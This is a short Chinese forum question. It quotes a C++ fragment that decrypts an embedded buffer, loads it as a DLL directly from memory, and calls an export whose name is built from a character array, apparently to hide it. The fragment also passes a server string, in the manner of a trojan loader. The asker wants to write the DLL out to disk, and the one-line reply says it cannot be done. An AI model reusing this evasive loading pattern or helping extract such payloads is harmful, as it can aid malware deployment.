求C语言能不能写出一个dll文件

BOOL CWindowslocalSecurtyApp::InitInstance()
{

char *BackData = new char[MyFileSize + 1];
memcpy(BackData,MyFileBuf,MyFileSize);

EncryptDllName((char *)BackData,MyFileSize);  //数据解密
char * lpRawRelocDll = (char *)BackData+20;
HMEMORYMODULE hdllmod = MemoryLoadLibrary(lpRawRelocDll);
if(hdllmod)
{
    char Edition[] = {'D','h','l','V','i','p','V','e','r','s','f','s','\0'};//Dhlvipversfs
    char fZQvl01[] = {'D','l','l','F','u','U','p','g','r','a','d','r','s','\0'};//DllFuUpgradrs
    DLLMain lpproc = (DLLMain)MemoryGetProcAddress (hdllmod,fZQvl01);
    if(lpproc!=NULL)
    {
        char *m_ServGet = New_ServGet;
        lpproc(
            (char *)MyFileBuf,
            MyFileSize,
            m_ServGet+12, 
            Edition
            );                                    
    }
    MemoryFreeLibrary(hdllmod);  

    delete [] BackData;

return 0;
}

这个代码是什么意思，看不懂，后边内存释放能不能改写成文件释放？写出一个dll文件

望采纳！！新年快乐🎉🎉

这里有写，不能。

http://www.dywt.com.cn/help/dll/dll.htm